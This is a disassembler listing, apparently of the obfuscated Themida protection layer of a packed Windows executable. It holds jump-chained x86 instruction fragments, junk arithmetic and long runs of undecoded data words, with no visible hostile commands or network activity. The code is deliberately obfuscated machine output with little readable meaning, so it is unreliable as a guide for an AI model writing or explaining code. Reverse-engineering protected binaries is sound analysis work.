CODE XREF: Themida_:00551C27j pop edx add esp, 4 jmp loc_554BFB ; --------------------------------------------------------------------------- db 31h dd 31F031C6h, 0E9F787C6h, 9967h, 4D00CB81h, 0E3C101C9h dd 0EAE95607h, 680000A8h, 276Ch, 0E9240489h, 0C967h, 48B665Ch dd 0E0E95124h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551197: ; CODE XREF: Themida_:00562166j push 31EEh mov [esp], eax mov eax, 3AC969F2h add edx, 562F6066h jmp loc_562C84 ; --------------------------------------------------------------------------- db 81h dd 8B2950F6h, 0D1E68127h, 0C1433E19h, 0CE8102E6h, 0C705A73h dd 0B38F681h, 5CE919BEh, 890000F4h, 0FF542414h, 82E92434h dd 89FFFFF5h, 0E789243Ch, 4C781h, 26E90000h, 0BB0000C9h dd 33282189h, 0F0E95F53h db 0A6h, 2 dup(0) byte_5511F7 db 64h ; DATA XREF: Themida_:0054FE14o dd 2B60F66h, 76BE6866h, 24048966h, 0FFEE8EE9h db 0FFh byte_551209 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FDB8o dd 4EC8124h, 89000000h, 0E6892434h, 10D83E9h, 1AF06800h dd 81597242h, 0EF1220EAh, 0E9CA0157h, 7927h, 4EC81h, 3C890000h dd 46824h, 15F0000h, 243C8BFBh, 11832E9h, 78E95000h, 570000E2h dd 3AD9E9h, 4BA5200h, 0E9000000h, 0CB0Bh ; --------------------------------------------------------------------------- loc_551260: ; CODE XREF: Themida_:0055A3FAj add edx, ebp pop ebp jmp loc_550376 ; --------------------------------------------------------------------------- dword_551268 dd 240C8B66h, 0FAD6856h, 4890000h, 48B5424h, 4C48324h ; DATA XREF: Themida_:0054FE54o dd 405h, 4E88300h, 491FE9h, 81E18900h, 4C1h, 4E98300h dd 5C240C87h, 0E9240C89h, 0BF95h ; --------------------------------------------------------------------------- loc_5512A0: ; CODE XREF: Themida_:0055C33Cj dec eax and eax, 44945024h push esi mov esi, 1F901207h add esi, 25055F61h jmp loc_560DD0 ; --------------------------------------------------------------------------- db 66h dd 0E9DDF65Ah, 0C94Eh, 0FFEDD2E9h, 0BE5659FFh, 4, 815EF101h dd 4C1h, 240C8700h, 4A25E9h, 70E95E00h db 0E3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5512E3: ; CODE XREF: Themida_:005599ADj shl eax, 3 push esi mov esi, 39B15A5Bh xor esi, 61BA7956h jmp loc_564D65 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24048700h, 0ED91E95Ch, 0C6FEFFFFh, 454EE9h db 0 ; --------------------------------------------------------------------------- loc_55130D: ; CODE XREF: Themida_:005571D7j xchg edi, [esp] jmp loc_55C853 ; --------------------------------------------------------------------------- db 29h, 0F8h, 0E9h dd 0A4FEh ; --------------------------------------------------------------------------- loc_55131C: ; CODE XREF: Themida_:0055D8BCj pop esp mov [esp], ebp mov ebp, 48171C71h add ebp, 1ED336A5h push ebp push edi mov edi, 2EC1253Ah xor [esp+4], edi pop edi jmp loc_55E3E8 ; --------------------------------------------------------------------------- loc_55133C: ; CODE XREF: Themida_:00551FC5j push esp mov esi, [esp] add esp, 4 add esi, 4 jmp loc_55A2C7 ; --------------------------------------------------------------------------- db 5Fh, 42h, 0C1h dd 0C28106E2h, 7507358Eh, 815AD609h, 0E86DEBEEh, 0FFF02962h dd 348B2434h, 4D8E924h, 0E7890000h, 4D9AE9h db 0 ; --------------------------------------------------------------------------- loc_551379: ; CODE XREF: Themida_:005614AFj mov [esp], ebx push 4 jmp loc_555C8F ; --------------------------------------------------------------------------- dw 0C631h dd 0E9D6F758h, 372Ch dword_551390 dd 240C8B66h, 0EBA0E956h, 81590000h, 9D2381C6h, 51C6816Ch ; DATA XREF: Themida_:0054FFB0o dd 10DCE22h, 372E9D6h, 5D540001h, 6685751h, 8900004Dh dd 8EBE2434h, 0BF492D5Fh, 1F53A2F4h, 348BF701h, 4C48124h dd 89000000h, 0F7515FF9h, 0ACE9241Ch db 0CEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5513DB: ; CODE XREF: Themida_:005593C2j xor esi, 0C91AFBB4h add ecx, esi pop esi jmp loc_56568E ; --------------------------------------------------------------------------- aFps db 'fPéÙ¹',0 align 10h dd 0FFECA2E9h, 24348BFFh, 0FF74E957h db 2 dup(0FFh) word_5513FE dw 77FFh ; DATA XREF: Themida_:0054FF20o dd 59669D1Ch, 9C2414D2h, 0FFEC8AE9h, 3D3F68FFh, 2C890000h dd 3460BD24h, 56E951D5h, 8F0000FEh, 248B2404h, 3EC06824h dd 62E90000h db 1Dh, 1, 0 byte_55142F db 0FFh ; DATA XREF: Themida_:0054FFE4o dd 81582434h, 4ECh, 24148900h, 0B506E954h, 8B580000h, 0C4812434h dd 4, 1227E948h db 2 dup(0) word_551452 dw 8B66h ; DATA XREF: Themida_:0054FEA8o dd 7A68240Ch, 89000056h, 0E6892434h, 3EE95257h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551467: ; CODE XREF: Themida_:00562269j push edi mov edi, 6D1968AEh sub edi, 724B5F3Fh xor edi, 0F8A4248Ch mov ecx, edi jmp loc_559678 ; --------------------------------------------------------------------------- loc_551480: ; CODE XREF: Themida_:0055C7FFj mov ecx, 41F36124h xor ecx, 277E61C4h or ecx, 33DF5A31h add ecx, 0EFB0991h add ecx, 5E8A7E10h jmp loc_5655CD ; --------------------------------------------------------------------------- loc_5514A2: ; CODE XREF: Themida_:005631E4j push 295B6FB6h mov esi, [esp] add esp, 4 mov ebp, esi pop esi jmp loc_55D4C4 ; --------------------------------------------------------------------------- db 29h, 0D5h, 5Ah dd 2474FF55h, 242C8B04h, 4C481h, 48F0000h, 3A0DE924h, 42D0000h dd 0E9000000h, 114C2h, 0C15BD889h, 1E2D03E8h, 0D03D575h dd 784A0C6Ch, 0DBA5E9h, 89DF8900h, 243C8BFEh, 0FFF4D9E9h dd 59CE09FFh, 3B83C681h, 9CE9E6C8h, 8BFFFFF0h, 0EB832424h dd 0C72FE904h, 0EEC10000h, 7E6C108h, 0A5BCEE81h, 0F38944FBh dd 0B16AE9h, 4EC8100h, 89000000h, 481242Ch, 0EC4D8424h dd 0F5E95A7Fh db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55153B: ; CODE XREF: Themida_:0055D7F2j add eax, ebp pop ebp sub eax, 17E92718h jmp loc_558FD4 ; --------------------------------------------------------------------------- loc_551548: ; CODE XREF: Themida_:0055B782j add dl, ah mov ax, [esp] jmp loc_55655A ; --------------------------------------------------------------------------- db 0C0h dd 0D5F604E5h, 287AC580h, 0EBC059EBh, 0C0DBF603h, 0C38604EBh dd 0C386D0F6h, 0D5B05052h, 58C688h, 73E95AF3h, 29000118h dd 2434FFE9h, 0E9C7E9h, 0F6FDB700h, 51CF80DFh, 0D7F6CFFEh dd 0C0F1E9h db 0 ; --------------------------------------------------------------------------- loc_551595: ; CODE XREF: Themida_:00553E80j push edx mov edx, 38B00F73h jmp loc_55F966 ; --------------------------------------------------------------------------- dd 3CB85058h, 0C16DD60Ah, 10502E0h, 5006EC4Eh, 8B2414F7h dd 0C4832404h, 1AEAE904h, 348B0001h, 4C48324h, 4E5C15Eh dd 87F5874Dh, 87D3F7DEh, 81F587DEh, 8711B8E5h, 2E5C14Dh dd 0C5F5ED81h, 0EA01D80Ah, 83242C8Bh, 0D03104C4h, 2A8CE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5515F2: ; CODE XREF: Themida_:00561AF7j mov ebp, 60462878h add eax, 2B5257C7h sub eax, ebp jmp loc_55F2EC ; --------------------------------------------------------------------------- loc_551603: ; CODE XREF: Themida_:0055AD68j pop ebp not ebp push ebx push 7A59h mov [esp], ebp push dword ptr [esp] pop ebx add esp, 4 pop ebp jmp loc_5533C7 ; --------------------------------------------------------------------------- dd 43CEBF57h, 0F8014C5Ah, 83243C8Bh, 0C80104C4h, 41B951h dd 77E95116h, 81000092h, 0C95776CBh, 0B9C3815Eh, 120A4BDh dd 914EE9D8h, 0C0FE0000h, 662CD8F6h, 0FFF53BE9h, 555B54FFh dd 4BDh, 5DEB0100h, 2C381h, 0EC810000h, 4, 2B6DE9h, 4BF00h dd 7C010000h, 55E90424h, 0B80000C2h, 28912D6Bh, 0F758C229h dd 5B85E9D2h, 34FF0000h, 0C4815B24h, 4, 66EA0058h, 83240C8Bh dd 0F90402C4h, 0F92CD028h, 86AEE9h, 0E5EB8100h, 0E9521F52h dd 504h, 0F72801B6h, 12A2685Ah, 4890000h, 4FA1E924h, 90B40000h dd 0EC65E952h, 0BD550000h, 350A6B42h, 4F5DEF29h, 3E5DB951h dd 0D1F74785h, 1590E181h, 0C1810217h, 8D83DD91h, 0CB9C781h dd 0CF295C45h, 0CB9EF81h, 52595C45h, 77E9FA89h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551707: ; CODE XREF: Themida_:00560396j add esp, 4 add esp, 4 jmp loc_559FE3 ; --------------------------------------------------------------------------- loc_551718: ; CODE XREF: Themida_:00560656j not esi shl esi, 1 jmp loc_55C279 ; --------------------------------------------------------------------------- db 66h, 89h, 4 dd 1E77E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55172A: ; CODE XREF: Themida_:00560EECj mov ebp, 0A8B5667h mov edx, 37F45EB9h xor edx, ebp push dword ptr [esp] pop ebp add esp, 4 xchg edi, edx inc edi xchg edi, edx or edx, 5DCF041Eh sub edx, 5C10FB72h jmp loc_550FCB ; --------------------------------------------------------------------------- loc_551756: ; CODE XREF: Themida_:0055E732j mov ebx, edi pop edi jmp loc_5539E5 ; --------------------------------------------------------------------------- dw 0EE81h dd 4BD626CEh, 251BC681h, 0E95209FBh, 0A494h, 5D2404FFh dd 4683ED81h, 0E953172Bh, 4D86h, 0E98DCD80h, 0FDh ; --------------------------------------------------------------------------- loc_551788: ; CODE XREF: Themida_:005558D7j xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 69FE16A5h push 9602695Bh pop edx sub edx, 41842D9Ch add edx, ecx jmp loc_5529F4 ; --------------------------------------------------------------------------- loc_5517A7: ; CODE XREF: Themida_:00553E8Fj xor edx, 10FE584Ch add eax, edx jmp loc_556E8C ; --------------------------------------------------------------------------- dd 0DE87D3F7h, 0B068DEF7h, 0E9000076h, 0F24Bh, 4C181h dd 0C1810000h, 4, 2474FF51h, 2434FF04h, 4C48159h, 8F000000h dd 685C2404h, 11DFh, 89240489h, 0A2E951E0h db 2Ch, 1, 0 ; --------------------------------------------------------------------------- loc_5517F3: ; CODE XREF: Themida_:00559D56j add edx, 9A3998DAh sub edi, edx pop edx add [esp+4], edi mov edi, [esp] push 29E0h mov [esp], edi mov edi, esp add edi, 4 push eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp pop dword ptr [edi+24h] loc_551823: ; CODE XREF: Themida_:00557E26j push 53EAh mov [esp], ebx push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_550639 ; --------------------------------------------------------------------------- dw 0C483h dd 4C48104h, 5000000h, 3994775Ah, 9E33572Dh, 5D82918h dd 189E3357h, 784DE9h db 0 ; --------------------------------------------------------------------------- loc_551869: ; CODE XREF: Themida_:0055D2D5j add eax, ebp mov ebp, [esp] add esp, 4 sub eax, ebp sub eax, 16ED2h sub eax, 1B8446F6h jmp loc_55E0E7 ; --------------------------------------------------------------------------- db 80h, 0F5h, 0EDh aALsgx db '€Ãléƒx',0 align 10h dd 0C8B5851h, 4C48324h, 596F68h, 86CAE900h, 3C890000h dd 7FBE5624h, 4E52A571h, 3818BD55h, 0EE091374h, 84EE815Dh dd 4E5BCA49h, 6E1BE681h, 0EE811D5Ah, 0B9E4D6ADh, 42E9F789h dd 810000B6h, 4ECh, 242C8900h, 4D2904BDh, 1B2BE972h db 1, 0 ; --------------------------------------------------------------------------- loc_5518E2: ; CODE XREF: Themida_:0055B963j push 377Fh mov [esp], edx push 19B7h mov [esp], esi jmp loc_55B742 ; --------------------------------------------------------------------------- aB4j db '^ÆÜ4†',0 dw 15Bh dd 2434FFF0h, 4C4815Eh, 87000000h, 2EE92404h, 8100010Fh dd 4A69C3EDh, 81C5012Bh, 4A69C3C5h, 0E1E9582Bh, 680000DCh dd 0BB45071h, 483C2558h, 900D7927h, 0C120F23Fh, 552D08E0h dd 29C3D189h, 7DBE9C1h db 1, 0 ; --------------------------------------------------------------------------- loc_551946: ; CODE XREF: Themida_:0055FDA4j mov ecx, ebx push ecx push dword ptr [esp] pop esi add esp, 4 pop ecx jmp loc_55B04D ; --------------------------------------------------------------------------- db 2Ch, 97h, 0 dd 17F4E9D0h, 0CF280000h, 50CFFE59h, 0EB2C73B0h, 0C2E94D04h dd 500000F4h, 0AA6733B8h, 2444815Bh, 0AE0B3508h, 24440177h dd 246C8108h, 0AE0B3508h, 0D526E977h, 835B0000h, 2C8904ECh dd 0E9E58924h, 8DE5h, 4C481h, 76680000h, 89000049h, 25E92414h dd 8100007Dh, 4C4h, 48C7E900h db 2 dup(0) word_5519BE dw 0D4E9h ; DATA XREF: Themida_:0054FEF0o db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5519C3: ; CODE XREF: Themida_:00565300j push ebx mov ebx, 0D6449C7h jmp loc_550AF2 ; --------------------------------------------------------------------------- loc_5519CE: ; CODE XREF: Themida_:005610F7j shr ah, 5 inc ah sub ah, 5Dh add bl, ah pop eax jmp loc_558FA3 ; --------------------------------------------------------------------------- loc_5519DE: ; CODE XREF: Themida_:005532A4j sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push ebp mov ebp, 4 add ebx, ebp mov ebp, [esp] jmp loc_5631F7 ; --------------------------------------------------------------------------- loc_551A01: ; CODE XREF: Themida_:00557CCBj xchg ebp, [esp] not ebp xchg ebp, [esp] pop esi jmp loc_55DEFA ; --------------------------------------------------------------------------- db 5Bh dd 78E9CF01h, 810000A0h, 0B29D06E9h, 0A0F2E9DBh, 0EF810000h dd 0B3800D27h, 835FFB01h, 48904ECh, 4528B824h, 0D0F70D6Fh dd 0F704E0C1h, 0E9D0F7D0h, 6836h ; --------------------------------------------------------------------------- loc_551A44: ; CODE XREF: Themida_:0055639Ej push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 jmp loc_5538C6 ; --------------------------------------------------------------------------- loc_551A56: ; CODE XREF: Themida_:0055709Dj add ecx, 0C2C6F047h add edi, ecx pop ecx add edi, 4 xchg edi, [esp] pop esp jmp loc_55ADC1 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 8704EF83h, 895C243Ch, 0E954243Ch, 0A4DEh ; --------------------------------------------------------------------------- loc_551A84: ; CODE XREF: Themida_:0055A680j mov eax, 4 add edi, eax mov eax, [esp] jmp loc_55E9FB ; --------------------------------------------------------------------------- loc_551A93: ; CODE XREF: Themida_:00560DB9j add ebp, 4 jmp loc_5565C0 ; --------------------------------------------------------------------------- loc_551A9E: ; CODE XREF: Themida_:00563EF1j add ecx, 221D1D24h add ecx, edx jmp loc_552FF4 ; --------------------------------------------------------------------------- db 29h dd 0DD895DEBh, 5DEF015Bh, 5C243C87h, 31240C33h, 96E9240Ch db 2Ah, 1, 0 ; --------------------------------------------------------------------------- loc_551AC3: ; CODE XREF: Themida_:00565659j mov eax, 1CCE21B3h and ebp, eax pop eax not ebp sub ebp, 6D7525E3h dec ebp xor ebp, 8300EB7Fh mov eax, ebp pop ebp mov edx, eax jmp loc_550B4D ; --------------------------------------------------------------------------- loc_551AE4: ; CODE XREF: Themida_:00555C43j pop ebp sub esp, 4 mov [esp], ebx jmp loc_561FF4 ; --------------------------------------------------------------------------- db 89h dd 75BF243Ch, 4F78F76Eh, 71F78147h, 2978F76Eh, 34335FFEh dd 24343124h, 8B243433h, 0D4E92424h, 5100005Ch, 621B68h dd 24148900h, 3DBDE9h db 0 ; --------------------------------------------------------------------------- loc_551B25: ; CODE XREF: Themida_:0055EB68j mov esi, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55F518 ; --------------------------------------------------------------------------- loc_551B36: ; CODE XREF: Themida_:00555743j shr esi, 1 or esi, 7788102Ch jmp loc_559451 ; --------------------------------------------------------------------------- db 83h dd 143304C2h, 24143124h, 8B241433h, 6AE92424h, 890000CBh dd 4EB9240Ch, 57360053h, 0CB37ECBFh, 0C9F78142h, 16C9732h dd 0C8015FF8h, 0C95FE9h db 0 ; --------------------------------------------------------------------------- loc_551B75: ; CODE XREF: Themida_:0055496Ej add bl, 0BEh add bl, 0BFh jmp loc_55D94A ; --------------------------------------------------------------------------- a0xsz db '0åéz»',0 db 0 ; --------------------------------------------------------------------------- loc_551B87: ; CODE XREF: Themida_:005617C3j sub bl, cl pop ecx movzx eax, al lea eax, [edi+eax*4] jmp loc_55A653 ; --------------------------------------------------------------------------- db 81h, 0C7h, 1 dd 12F0060h, 529CE9D7h, 59590000h, 34FFC300h, 0E14FE924h dd 8F5E0000h, 0FE5C2404h, 0E99C240Ch, 0FFFFE4DBh, 0E924348Bh dd 0C8A5h, 0A2BA5253h, 0C11A034Dh, 0EAC103EAh, 0A0FFE907h dd 0EC810000h, 4, 0FFD7E9h, 24048900h, 0A33ABBB8h, 3AB93559h dd 0C50159A3h, 0E924048Bh, 0CF08h, 8104E2Dh, 5C8297Ch dd 7C08104Eh, 4158522Dh, 1EBF5700h, 810FE770h, 2922E4EFh dd 6801E915h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551C1A: ; CODE XREF: Themida_:0055F6ECj mov [esp], edx mov edx, 3F3F0423h add eax, edx push dword ptr [esp] jmp loc_55115A ; --------------------------------------------------------------------------- dword_551C2C dd 8B2434FFh, 0C4832404h, 4EC8304h, 54240C89h, 11BE5659h ; DATA XREF: Themida_:0054FF08o dd 0E930D837h, 23A8h, 59CB295Bh, 767968h, 0F2E6E900h, 2C89FFFFh dd 0B2E95424h, 6400006Eh, 0E9028966h, 0FFFFE42Fh, 915EE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551C6E: ; CODE XREF: Themida_:0055F304j add ebx, eax pop eax push ecx push 674267B8h pop ecx jmp loc_564926 ; --------------------------------------------------------------------------- loc_551C7D: ; CODE XREF: Themida_:00552420j add esi, edx pop edx sub esi, 4 xor esi, [esp] jmp loc_5642D9 ; --------------------------------------------------------------------------- db 81h dd 0BE69A6C3h, 0F842E907h, 0E948FFFFh, 14FFh ; --------------------------------------------------------------------------- loc_551C9C: ; CODE XREF: Themida_:0055CFD2j mov [esp], ebp mov ebx, [esp] push edi mov edi, esp jmp loc_55023D ; --------------------------------------------------------------------------- aUs db 'Ué]š',0 align 10h dd 5A2434FFh, 0D94E952h, 348B0001h, 4C48324h, 33F368h dd 243C8900h, 42474FFh, 24048F5Fh, 829FE9h, 8BFB0100h dd 0C483243Ch, 4EC8104h, 89000000h, 0A0BE2434h, 5305F84Bh dd 0AA6265BBh, 8BDE3136h, 8951241Ch, 4C181E1h, 83000000h dd 0C8704C1h, 0B9515C24h, 7C3A339Eh, 12584E9h, 0DDF18100h dd 31A98B8Bh, 0D00159CAh, 3B7BE9h, 8817B300h, 6E5BE9DEh dd 875A0000h, 895C242Ch, 0B5BE2434h, 0C166746Bh, 50E902EEh dd 5E0000A4h, 8B24048Fh, 9A682424h, 8900003Bh, 0BB241Ch dd 83000000h, 11E904ECh db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551D5B: ; CODE XREF: Themida_:0055C02Aj mov edx, 0 add edx, ecx add eax, [edx] pop edx push dword ptr [esp] pop ecx add esp, 4 jmp loc_55F200 ; --------------------------------------------------------------------------- dd 5EC968h, 24248900h, 4240481h, 0E9000000h, 0FFFFF66Dh dd 0C181E189h, 4, 4BF57h, 0F9010000h, 240C875Fh, 2BA525Ch dd 81000000h, 0BB7DD2EFh, 18EAE94Fh, 0D8290000h, 6164E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_551DB6: ; CODE XREF: Themida_:0055BFC7j add esi, 4 push eax mov eax, 12972A2Bh not eax sub eax, 0ED68D5D0h add esi, eax jmp loc_55D562 ; --------------------------------------------------------------------------- dd 5204C283h, 1109EE9h, 0D1685C00h, 8900005Bh, 0E954241Ch dd 0DEAh, 4DD168h, 242C8900h, 0B9665157h, 41660FA7h, 0E1E98166h dd 0CF8966FEh, 0D7F76659h, 0CEEF8166h, 0C7816676h, 8966A788h dd 0C1665FFDh, 816607EDh, 0E94D94CDh, 7DD2h, 5EFC147h dd 2145C781h, 0BDE95995h, 50000047h, 4A3D60B8h, 0B5E7E950h dd 805B0000h, 885082F5h, 88D0F6E8h, 526658C5h, 0AF4FE950h dd 0E9BE0000h, 0F731D433h, 36E0E9D6h db 1, 0 ; --------------------------------------------------------------------------- loc_551E5A: ; CODE XREF: Themida_:0055634Dj pop eax xchg ecx, [esp] mov esp, [esp] push edi mov edi, 433B0AE4h jmp loc_55239E ; --------------------------------------------------------------------------- dd 8B240433h, 6E92424h, 510000C2h, 1810A7B9h, 59CA31CBh dd 1314BE9h, 27F28100h, 1BF7165h, 23E95AD7h, 5D00012Fh dd 24048F5Fh, 3C34E9h, 4EF8100h, 87000000h, 895C243Ch dd 0EC83240Ch, 60E06804h, 24890000h, 0EC835524h, 241C8904h dd 864AE9h, 4BF00h, 0FA010000h, 2414875Fh, 0A290E9h db 0 byte_551ED1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FEA0o aHF db '$h+F',0 align 2 dw 1489h aItsB db '$‰âé',9,'',0 align 4 dd 0A852B3B9h, 0B9F3E96Dh, 34330000h, 34FF5C24h, 0BBD2E924h dd 0E95D0000h, 3966h dword_551F00 dd 24048B66h, 4EC81h, 4890000h, 4EC8324h, 81242489h, 42404h ; DATA XREF: Themida_:0054FE20o dd 34FF0000h, 0C4815824h, 4, 405h, 34FBE900h, 0C7830000h dd 74FF5704h, 0E95F0424h, 0FFFFF4E3h, 0EF295B5Fh, 0E9242C8Bh dd 626h ; --------------------------------------------------------------------------- loc_551F48: ; CODE XREF: Themida_:0055F6D7j mov esi, [esp] add esp, 4 push dword ptr [esp] jmp loc_551FBC ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815E24h, 4, 0B269E957h, 5E540000h, 4C681h, 0E9530000h dd 0D8Fh, 0E9243C89h, 0FFFFF571h, 5B241C29h, 3E4FCB81h dd 34E92C3Fh, 0BD0000FEh, 77645314h, 815DEE29h, 47274AC6h dd 2434FF7Fh, 8324048Bh, 0C48304C4h, 1C770904h, 0E0E9E95Eh dd 0ED81FFFFh, 0B17A386Fh, 0E95DEB01h, 0EB11h ; --------------------------------------------------------------------------- loc_551FBC: ; CODE XREF: Themida_:00551F51j pop eax push 7670h mov [esp], esi jmp loc_55133C ; --------------------------------------------------------------------------- aIcsq db '‰æéïÏ',0 db 0 ; --------------------------------------------------------------------------- loc_551FD1: ; CODE XREF: Themida_:0055C5F0j dec ebp jmp loc_56416A ; --------------------------------------------------------------------------- byte_551FD7 db 0ADh ; DATA XREF: Themida_:0054FF98o dd 507BBD55h, 0EC83576Bh, 242C8904h, 242C8B53h, 0E904C483h dd 115DFh, 5C241487h, 0A8E4E9h, 6683B800h, 0C289367Fh dd 8E2C158h, 2F4FE9h db 0 byte_552009 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FF6Co aSe_0 db '$ée,',0 align 2 loc_552012: ; CODE XREF: Themida_:0055D0A7j mov dl, 68h mov ah, 0DDh sub ah, 49h add ah, dl add ah, 49h mov edx, [esp] add esp, 4 mov cl, 9 sub cl, 0BAh add cl, ah add cl, 0BAh pop eax or cl, 55h shr cl, 1 shr cl, 3 add cl, 0FFh push ebx mov bl, 69h jmp loc_55BF7A ; --------------------------------------------------------------------------- db 5Eh, 1, 0C7h dd 5FC6858h, 0F7E90000h, 0C1000031h, 0CB8102EBh, 0A08741Ah dd 162CE9h db 0 ; --------------------------------------------------------------------------- loc_552061: ; CODE XREF: Themida_:0055DBC6j push eax pop dword ptr [edx+30h] mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp popa popf retn ; --------------------------------------------------------------------------- dw 18E9h dd 0FFFFE0h, 535866E3h, 28BBh, 51FB0100h, 4984E9h, 0B3E95200h db 0Dh, 1, 0 ; --------------------------------------------------------------------------- loc_552097: ; CODE XREF: Themida_:00557285j pop ecx add ecx, edi pop edi xor ecx, [esp] jmp loc_552867 ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 42FCE981h, 0D90171F7h, 42FCBE56h, 29E971F7h dd 800000AFh, 0F680D9F6h, 9B45090h, 0C480CCFEh, 389AE9CCh dd 0D6010000h, 0F031E9h, 58C28900h, 0C619E9h db 0 ; --------------------------------------------------------------------------- loc_5520E1: ; CODE XREF: Themida_:0055FA16j pop edi mov edx, ebx jmp loc_550820 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0FFE109E9h db 0FFh byte_5520F1 db 0F6h, 1Ch, 24h ; DATA XREF: Themida_:0054FFBCo aS_7 db 'œéÛÛ',0 align 2 dw 0E981h dd 513E0151h, 0F552E949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552106: ; CODE XREF: Themida_:00556F82j shr eax, 4 not eax inc eax jmp loc_555F80 ; --------------------------------------------------------------------------- byte_552111 db 0FFh, 77h, 40h ; DATA XREF: Themida_:0055002Co dd 7054E9h, 25E8D100h, 7B8579E7h, 57D8E9h, 6E95600h, 57000000h dd 0FFF540E9h, 21B968FFh, 57E948FEh, 0B90000C2h, 0B26FC387h dd 42E9CD01h db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552147: ; CODE XREF: Themida_:00563460j sub esp, 4 jmp loc_5653F8 ; --------------------------------------------------------------------------- db 5Eh dd 0E95AD001h, 3D0Bh, 241C8966h, 88DAB652h, 0C5805AF7h dd 1FF2E924h, 57290000h, 572FE940h, 2C890000h, 54E924h dd 0CF890001h, 4EC8359h, 8B243C89h, 0C4812404h, 4, 8BC1015Fh dd 0C4812404h, 4, 0D6DEE9h, 241C8B00h, 4C481h, 8DE90000h dd 0FF0000C7h, 0DEE5E930h, 8159FFFFh, 374CC9C1h, 241C8B36h dd 4C481h, 0E9C10000h, 0F7E98705h, 31E931D5h, 55E931CDh dd 6679DABDh, 0E9DDF734h, 5132h, 615968h, 240C8900h, 0A918E9h dd 5C476800h, 0C890000h, 3791B924h, 0CE217DC3h, 7686E9h dd 5DE93100h, 5624348Bh, 0C681E689h, 4, 8704C683h, 15C2434h dd 0B1E959C8h db 0D6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55221B: ; CODE XREF: Themida_:00559BE4j push 3A48h jmp loc_56038A ; --------------------------------------------------------------------------- db 81h, 0C1h, 0E3h dd 0C164532Bh, 0E98105E1h, 4AA9CCF9h, 8159CE89h, 18D09DC6h dd 1381E9D9h db 1, 0 word_552242 dw 8B66h ; DATA XREF: Themida_:0054FEC0o dd 0A9682404h, 89000060h, 8B542404h, 0EC812404h, 4, 42CCE9h db 0 ; --------------------------------------------------------------------------- loc_55225D: ; CODE XREF: Themida_:00564546j pop esi push ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push 1 mov edx, [esp] push edx jmp loc_55F7B5 ; --------------------------------------------------------------------------- loc_55228A: ; CODE XREF: Themida_:0055E3EFj not esi add esi, 92DE3C8Ah xor ebx, esi pop esi jmp loc_55803A ; --------------------------------------------------------------------------- dw 8950h dd 0EDE952E0h db 5, 1, 0 ; --------------------------------------------------------------------------- loc_5522A3: ; CODE XREF: Themida_:00560142j mov [esp], edx push edx mov edx, esp jmp loc_5558CB ; --------------------------------------------------------------------------- dw 7768h dd 89000077h, 2EBB241Ch, 0E956DE47h, 5079h, 4244C31h, 81240C8Bh dd 4C4h, 57565B00h, 0DD019568h, 0EF815F67h, 3D4EF58Dh dd 0F75FFE89h, 0D3EE81DEh, 5723FE74h, 0D80777BFh, 0BA52473Ch dd 521F337Dh, 0F93C281h, 0C2815F55h, 8BFCBED4h, 815AD701h dd 842350CFh, 40C78106h, 0F73EF37Ch, 0AEEF81D7h, 314C6EDFh dd 0F3315FFEh, 6ADEE9h, 4E1C100h, 8105E1C1h, 0AB6596E9h dd 0A3A5E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552332: ; CODE XREF: Themida_:00554A72j add edx, 4 xchg edx, [esp] pop esp jmp loc_556AF4 ; --------------------------------------------------------------------------- dw 248Bh dd 4896624h, 2044B024h, 0E95866C2h, 647h, 8324048Bh, 3C8704C4h dd 24248B24h, 0E7868h, 241C8900h, 415D68h, 24248900h, 4240483h dd 0FFDD28E9h, 3A3268FFh, 0C0E90000h, 0F7000062h, 0C1D1F7D9h dd 67E905E9h, 0BD0000E1h, 4, 875DE801h, 248B2404h, 0DCF9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55239E: ; CODE XREF: Themida_:00551E67j xor edi, 433B0AE0h add ebp, edi mov edi, [esp] add esp, 4 push eax mov eax, 2 add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push ecx jmp loc_553447 ; --------------------------------------------------------------------------- dw 815Ah dd 7D5422C3h, 50C3010Fh, 7D5422B8h, 0E9C3290Fh, 130Ah dd 0EEE95A54h, 90000EBh, 24048BC6h, 0C104C483h, 0ADE908E6h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5523F7: ; CODE XREF: Themida_:005555B4j xchg ebx, [esp] pop esp push 1B5Dh jmp loc_562F65 ; --------------------------------------------------------------------------- loc_552405: ; CODE XREF: Themida_:005586D8j mov ecx, 55441AB5h push 60A37B5Bh 